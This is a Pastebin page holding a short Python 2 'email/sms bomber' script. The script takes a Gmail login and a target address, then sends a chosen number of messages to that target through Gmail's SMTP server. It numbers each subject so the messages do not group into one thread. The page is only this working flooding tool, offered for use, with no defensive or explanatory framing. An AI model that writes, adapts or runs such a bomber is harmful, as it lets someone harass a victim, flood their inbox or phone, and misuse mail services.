Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import smtplib as s
- from email.MIMEMultipart import MIMEMultipart
- from email.MIMEText import MIMEText
- def info():
- print "VJX email/sms bomber \n\r"
- info.username = raw_input("Gmail: (user@gmail.com): ")
- info.password = raw_input("gmail pass: ")
- info.bombed = raw_input("Email to bomb: ")
- info.number = raw_input("Number of emails to send: ")
- info.body = raw_input("Enter message you want to send: ")
- info.subject = raw_input("Enter subject of message (will have a number added so the emails dont create a thread): ")
- def confirm():
- reply = str(raw_input('Is everything correct? (y/n): ')).lower().strip()
- if reply[0] == 'y':
- return True
- if reply[0] == 'n':
- return False
- else:
- print("y/n only")
- info()
- if confirm():
- obj = s.SMTP('smtp.gmail.com', 587)
- obj.starttls();
- obj.login(info.username, info.password)
- j = 0
- for j in range(0, int(info.number)):
- msg = MIMEMultipart()
- msg['From'] = info.username
- msg['To'] = info.bombed
- msg['Subject'] = info.subject + " " + str(j+1)
- msg.attach(MIMEText(info.body, 'plain'))
- text = msg.as_string()
- obj.sendmail(info.username, info.bombed, text)
- print str(j + 1) + " Message(s) sent"
- j += 1
- obj.quit()
- print("Done!")
- else:
- info()
Add Comment
Please, Sign In to add comment